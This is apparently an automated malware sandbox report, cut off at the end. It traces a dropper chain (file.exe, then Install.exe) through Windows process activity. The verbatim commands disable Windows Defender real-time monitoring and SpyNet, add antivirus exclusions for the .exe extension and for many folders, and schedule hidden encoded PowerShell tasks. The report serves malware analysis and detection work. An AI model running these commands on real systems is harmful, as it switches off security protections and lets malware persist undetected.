c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	mxEGzBs.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEmxEGzBs.exe

pid	process
1676	powershell.EXE
1676	powershell.EXE
1676	powershell.EXE
1480	powershell.EXE
1480	powershell.EXE
1480	powershell.EXE
1680	powershell.EXE
1680	powershell.EXE
1680	powershell.EXE
1480	powershell.EXE
1480	powershell.EXE
1480	powershell.EXE
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe
1564	mxEGzBs.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	1676	powershell.EXE
Token: SeDebugPrivilege	1480	powershell.EXE
Token: SeDebugPrivilege	1680	powershell.EXE
Token: SeDebugPrivilege	1480	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 1288 wrote to memory of 1532	1288	file.exe	Install.exe
PID 1288 wrote to memory of 1532	1288	file.exe	Install.exe
PID 1288 wrote to memory of 1532	1288	file.exe	Install.exe
PID 1288 wrote to memory of 1532	1288	file.exe	Install.exe
PID 1288 wrote to memory of 1532	1288	file.exe	Install.exe
PID 1288 wrote to memory of 1532	1288	file.exe	Install.exe
PID 1288 wrote to memory of 1532	1288	file.exe	Install.exe
PID 1532 wrote to memory of 1332	1532	Install.exe	Install.exe
PID 1532 wrote to memory of 1332	1532	Install.exe	Install.exe
PID 1532 wrote to memory of 1332	1532	Install.exe	Install.exe
PID 1532 wrote to memory of 1332	1532	Install.exe	Install.exe
PID 1532 wrote to memory of 1332	1532	Install.exe	Install.exe
PID 1532 wrote to memory of 1332	1532	Install.exe	Install.exe
PID 1532 wrote to memory of 1332	1532	Install.exe	Install.exe
PID 1332 wrote to memory of 1752	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 1752	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 1752	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 1752	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 1752	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 1752	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 1752	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 564	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 564	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 564	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 564	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 564	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 564	1332	Install.exe	forfiles.exe
PID 1332 wrote to memory of 564	1332	Install.exe	forfiles.exe
PID 1752 wrote to memory of 1272	1752	forfiles.exe	cmd.exe
PID 1752 wrote to memory of 1272	1752	forfiles.exe	cmd.exe
PID 1752 wrote to memory of 1272	1752	forfiles.exe	cmd.exe
PID 1752 wrote to memory of 1272	1752	forfiles.exe	cmd.exe
PID 1752 wrote to memory of 1272	1752	forfiles.exe	cmd.exe
PID 1752 wrote to memory of 1272	1752	forfiles.exe	cmd.exe
PID 1752 wrote to memory of 1272	1752	forfiles.exe	cmd.exe
PID 564 wrote to memory of 820	564	forfiles.exe	cmd.exe
PID 564 wrote to memory of 820	564	forfiles.exe	cmd.exe
PID 564 wrote to memory of 820	564	forfiles.exe	cmd.exe
PID 564 wrote to memory of 820	564	forfiles.exe	cmd.exe
PID 564 wrote to memory of 820	564	forfiles.exe	cmd.exe
PID 564 wrote to memory of 820	564	forfiles.exe	cmd.exe
PID 564 wrote to memory of 820	564	forfiles.exe	cmd.exe
PID 1272 wrote to memory of 948	1272	cmd.exe	reg.exe
PID 1272 wrote to memory of 948	1272	cmd.exe	reg.exe
PID 1272 wrote to memory of 948	1272	cmd.exe	reg.exe
PID 1272 wrote to memory of 948	1272	cmd.exe	reg.exe
PID 1272 wrote to memory of 948	1272	cmd.exe	reg.exe
PID 1272 wrote to memory of 948	1272	cmd.exe	reg.exe
PID 1272 wrote to memory of 948	1272	cmd.exe	reg.exe
PID 820 wrote to memory of 1680	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1680	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1680	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1680	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1680	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1680	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1680	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1048	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1048	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1048	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1048	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1048	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1048	820	cmd.exe	reg.exe
PID 820 wrote to memory of 1048	820	cmd.exe	reg.exe
PID 1272 wrote to memory of 824	1272	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1288

C:\Users\Admin\AppData\Local\Temp\7zS1CA6.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1532

C:\Users\Admin\AppData\Local\Temp\7zS2C9D.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1332

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1752

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1272

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:948

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:824

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:564

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:820

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1680

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1048

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gcTZqGydp" /SC once /ST 00:03:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:2040

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gcTZqGydp"
4⤵
PID:1956

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gcTZqGydp"
4⤵
PID:1104

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bNHXguvSZYiOwSiXLC" /SC once /ST 02:24:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\bGGdWhe.exe\" 3x /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:364

C:\Windows\system32\taskeng.exe
taskeng.exe {4AE22F0E-BF7B-4B37-B673-8A57C9E58A26} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]
1⤵
PID:968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1676

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1480

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1680

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1480

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1248

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1600

C:\Windows\system32\taskeng.exe
taskeng.exe {95F4FDB5-1865-4C04-BC1C-22B4814B5D18} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:876

C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\bGGdWhe.exe
C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\bGGdWhe.exe 3x /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1704

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gMmziPQMr" /SC once /ST 01:46:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1048

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gMmziPQMr"
3⤵
PID:564

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gMmziPQMr"
3⤵
PID:1600

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1564

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:324

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:372

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1544

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gDGToLYvB" /SC once /ST 00:57:35 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1936

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gDGToLYvB"
3⤵
PID:912

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gDGToLYvB"
3⤵
PID:1752

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2000

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1364

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1720

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1768

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1784

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:32
4⤵
PID:828

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:64
3⤵
PID:324

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2024

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\MYjwJFnMfsmfKHMw\GoCdRexV\OsFBJmRczOLDXeNW.wsf"
3⤵
PID:1544

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\MYjwJFnMfsmfKHMw\GoCdRexV\OsFBJmRczOLDXeNW.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1468

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1044

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QYiUKrukFVUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QYiUKrukFVUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1272

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SHsJRQZsU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1400

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SHsJRQZsU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1472

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aJAQLsoDkiWqC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:304

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aJAQLsoDkiWqC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1304

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:692

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:848

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fxkldoUMcXUSOxVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fxkldoUMcXUSOxVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1940

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:828

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt" /t REG_DWORD /d 0 /reg:64
4⤵
PID:524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:856

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1044

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:824

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QYiUKrukFVUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1952

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QYiUKrukFVUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1776

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SHsJRQZsU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1244

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SHsJRQZsU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1980

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aJAQLsoDkiWqC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1856

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aJAQLsoDkiWqC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1932

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:748

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1740

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fxkldoUMcXUSOxVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fxkldoUMcXUSOxVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1784

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt" /t REG_DWORD /d 0 /reg:64
4⤵
PID:660

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt" /t REG_DWORD /d 0 /reg:32
4⤵
PID:896

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:32
4⤵
PID:372

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MYjwJFnMfsmfKHMw" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1912

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gQtiEwBkd" /SC once /ST 01:07:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1680

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gQtiEwBkd"
3⤵
PID:1144

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gQtiEwBkd"
3⤵
PID:1768

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:748

C:\Windows\SysWOW64\reg.exe
